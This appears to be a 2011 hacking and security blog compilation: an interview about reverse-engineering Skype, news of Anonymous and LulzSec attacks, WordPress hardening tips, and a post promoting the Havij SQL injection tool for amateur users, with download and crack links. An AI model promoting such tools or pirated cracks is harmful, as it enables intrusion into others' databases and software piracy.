As you can see, I didn’t do the entire job myself. First, there were the guys from EADS.net, then Sean and the VEST Corporation. I did only the final stage at the application level. It consisted mainly in understanding the connection procedures in terms of packed objects (blobs). The object – usually a ‘key-value’ pair – can be associated to any structure, IP address, string text data, or some other value. I did all that with the help of other reverse-engineers, friends and family.

How did you get O’Neill’s code?
I have explained this on my blog. I will not comment on this any further. Let this remain behind the scenes.

But was it legitimate to use his code? It was supposed to be “all rights reserved” and “for academic research and educational purposes only…”
This is exactly what I did: for academic research and educational purposes.
On my blog, some commented that I did not do any research, that I just published someone else’s code (and archive) and take all the credit. They consider that all the archive and codes – those copyrighted and those not – are owned by VEST. The truth is that I wrote my own source code and research, except binaries, IDA databases, and the code copyrighted by Sean or OpenSSL. This can be proven easily through lexical or style comparisons. My code is so poorly written!
The question is not where they are from. The question is: Can anyone make open source Skype protocol specification and implementation based on these files – possibly from illegal sources – or not?

What about Skype’s de-obfuscated binaries? Don’t you fear claims of IPR violations from Skype or from Microsoft, its new owner?
Let’s say that some unknown ‘good guy’ sent these binaries to me by email. Or perhaps I found them on a forum on a Chinese server. Theoretically I could have hacked them, but such a task was too tricky and I didn’t have enough motivation for that.
‘Intellectual property’ is a legal term, and I am no legal expert. I did not copy anything. I have only done reverse engineering based on already de-obfuscated skype binaries. I modified them a bit, mainly for additional logging, to better understand how it worked. I started writing the protocol specifications so that open source clients could communicate with Skype and send messages to it.
Skype is accusing me of preparing “malicious activities like spamming/phishing.” They are sensitive about spam. It is the main problem of instant messaging platforms. But I haven’t done anything related to spamming or phishing via Skype.
The funny thing is that reverse engineering doesn’t violate any Russian laws. Regarding spam, there is a rarely invoked law against it. But Russian ISPs and webmail services are really tough on spammers. Their zero tolerance approach to spam is in some ways more strict than in the West.
Still, I am aware that there may be consequences for my actions. Nothing is without risk. But if something happens to me, now anyone can complete my work with the files and the tools I have made available. No more encryption and obfuscation!
Regarding Microsoft – which has very few friends in Russia – someone from Sophos wrote that they might find some kind of commercial or trade advantage in an open source version of Skype. I doubt there will be any cooperation on the part of Microsoft, but we’ll see. After all, they couldn’t prevent Samba from becoming compatible with Windows in spite of all their constraints! The same thing could happen with Skype, so Microsoft, I hope, will stay neutral.

What is your vision of a future? Do you envision an open source VoIP application similar to Skype?
There is still so much to do! Probably a 3d-party client for Skype will appear in a couple of years, supported by at least one VoIP codec, for example Silk, the source code of which Skype has already published.
But I think it will remain a game for geeks rather than any real threat to Skype’s business. However, we all known that Microsoft is at war with [open-source telephony software] Asterisk. They have cut connections between Skype and Asterisk. So, if this work which I have set loose should ever reach a really mature stage and achieve a degree of competitive quality, Asterisk and other open source initiatives will have a real alternative.
Tens of thousands of people have already downloaded Skype’s code. One day, professionals will complete the job with the programming for voice. Then someone will complete the video. We’ll have fun when the first video spam appears, hehe…
Many fear spam, but what we do is just technology. How people use technology, for good or bad, must remain a decision for each individual.

If Microsoft or Skype offered you a job, would you work for them?
It all depends on what kind of work they wanted me to do and the contract. I am open to offers. Anyway, my research has already been made available. The files have been set loose into the world and anyone with a mind for it can continue building this open source version of Skype.

This interview was conducted by Adrien Henni and Alexander Ivanov of East-West Digital News, the international resource on Russian IT.
http://www.ewdn.com/2011/06/05/ewdn-exclusive-an-interview-with-efim-bushmanov/

Malaysian government website targeted by Anonymous?

2011-06-14T22:11:00.000+08:00

PETALING JAYA: A hacker group has threatened to attack the http://www.malaysia.gov.my website.

The group, which calls itself Anonymous, said it will launch the attack at 7.30pm GMT on Wednesday (3.30am Thursday Malaysian time) and has named it “Operation Malaysia.”

It posted the threat in a graphic on this website, http://i.imgur.com/PTFWh.png.

Mikko Hypponen, chief research officer at the F-Secure Corporation - a computer security software company based in Helsinki, Finland - tweeted about the threat at 4.42am Malaysian time.

No other details were available at this time. It is also not known why Anonymous has targeted the Malaysian website.
Hacker group Anonymous threatens to attack Malaysian Government website.

But there has been an uptick in “hacktivism” these past weeks, where hacker groups have targeted various organisations for political purposes.

Hackers have attacked the International Monetary Fund and Sony PlayStation Network, as well as the networks of aeronautics company Lockheed Martin Corp and Citibank in North America, amongst others.

Anonymous was blamed for the hack into the PlayStation network but a spokesman for the group has denied involvement, saying that its aims are political. Spain, however, has arrested three suspected members of the hacker group for that attack.

Anonymous apparently comprises a vast number of hackers in various countries, who have been organised into cells that share common goals. They operate anonymously but in a co-ordinated fashion.

More details to follow.

Meanwhile the AP reported from New York that a group of hackers has gained access to the websites of the U.S. Senate and video game company Bethesda Softworks, the latest in a series of cyberattacks plaguing a broad range of online victims.

The group, which calls itself Lulz Security, posted what it called a "small, just-for-kicks release of some internal data" from Senate.gov on its website on Monday.

Likely referencing reports that the Pentagon is considering whether a cyberattack could be considered an act of war, the group also wrote "is this an act of war, gentlemen? Problem?"
File - In this May 15, 2011 file photo people wearing masks often used by a group that calls itself "Anonymous" take part in a rally in Madrid. Spanish police arrested three suspected computer hackers that allegedly belonged to a loose-knit international activist group that has attacked corporate and government websites around the world, authorities said Friday June 10, 2011. A National Police statement identified the three detainees as leaders of the Spanish section of a group that calls itself "Anonymous." - AP

Havij v1.14 Advanced SQL Injection

2011-06-08T11:47:00.000+08:00

Description:

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.
It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.
The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.
The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.

What’s New?

Sybase (ASE) database added.
Sybase (ASE) Blind database added.
Time based method for MsSQL added.
Time based method for MySQL added.
mod_security bypass added.
Pause button added.
Basic authentication added
Digest authentication added.
Post Data field added
bugs related with dot character in database name fixed
syntax over writing when defined by user in blind injections fixed.
mssql database detection from error when using JDBC driver corrected.
time out bug in md5 cracker fixed.
default value bug fixed
string encode bug fixed in PostgreSQL
injecting URL rewrite pages added.
injecting into any part of http request like Cookie, User-Agent, Referer, etc made available
a bug in finding string column fixed. (specially for MySQL)
Finding columns count in mysql when input value is non effective added.
window resize bug in custom DPI setting fixed.
some bugs in finding row count fixed.
getting database name in mssql error based when injection type is guessed integer but it’s string fixed.

Features:

How to use

This tool is for exploiting SQL Injection bugs in web application.
For using this tool you should know a little about SQL Injections.
Enter target url and select http method then click Analyze.
Note: Try to url be valid input that returns a normal page not a 404 or error page.

Download

Havij v1.14: http://www.mediafire.com/?q9yxvoyz3t9odgf
Crack: http://www.mediafire.com/?to8k45a77175ulq

//http://www.filestube.com/source.html?token=ee88daf63515025a03e9

Essential WordPress Security Plugins

2011-06-08T09:46:00.000+08:00

WordPress Security is extremely important matter. Having your blog hacked can destroy all your content, ruin your reputation, and cost you hundreds of hours of effort to resolve. By having the right WordPress security plug-ins you can easily make your blog more secure without having to be a technician.

WordPress Security Tip 1 – Change The Default Username

The first thing you want to do to make your blog more secure is to create a completely new username. By default most installations of WordPress will end up making the username ADMIN. Every good hacker knows that most people won’t change this default username. The first step to making your blog more secure is to create a new username and to delete the default ADMIN username.
One of the plug-ins that I will show you will actually e-mail you every time someone attempts to login to your blog but fails. When I installed this plug-in, I was shocked to see that hackers were attempting to gain access to my blog DAILY by using the default username of ADMIN.
To create a new username simply login to your WordPress blog and from the dashboard click “USERS”. Then click “ADD NEW”… and setup a new user account. Just be sure to fill out all the info for your new username and set the account up as an “Administrator”. Log into your new user account to be sure that everything works, before deleting the old ADMIN account.

WordPress Security Plugin 1 – LIMIT LOGIN ATTEMPTS

Thenext thing you’ll want to do is install the WordPress security plug-in called “Limit Login Attempts”. This plug-in will help prevent hackers from figuring out your passwords.
There’s a hacking technique called a “Brute Force Attack”. Think of some big thug with massive arms trying to beat down a door. They just hit the door over and over and over… till it comes crashing down. That’s a brute force attack.
These attacks usually involve having a script that infinitely tries to login to your website using random passwords.
The limit login attempts plug-in for WordPress helps you stop these type of attacks by limiting the number of attempts to enter a valid password. After a few invalid attempts to login that users IP address will be banned for a few minutes. If the same user comes back later and tries again their IP address will be banned for much longer.
This essentially eliminates the brute force attack, and sends you an e-mail notifying you of the failed attempt and the users IP address. After installing this plug-in I immediately noticed the daily attempts people would use to hack into my blog using the username “admin”, because I was now getting an e-mail every time this WordPress security plug-in blocked someone’s IP address for too many failed attempts.

WordPress Security Plugin 2 – WordPress Firewall

The next WordPress security plug-in you will want to install is called “WordPress Firewall 2″ by Matthew Pavkov. Without getting into too much detail this plug-in keeps hackers out of the sensitive areas of your blogs files. Hackers can attempt to navigate from pages of your blog to areas within your blog that aren’t meant for them.
This plug-in recognizes when hackers are trying to abnormally navigate to the components of your blog where they don’t belong and it stops them.
Just as a side note… One great thing you can do to add additional protection to your blog is to have a good WordPress Backup Plugin. This plugin can help you recover if you do have any kind of disaster whether it’s from a hacker or some other issue.

//kredit to: ???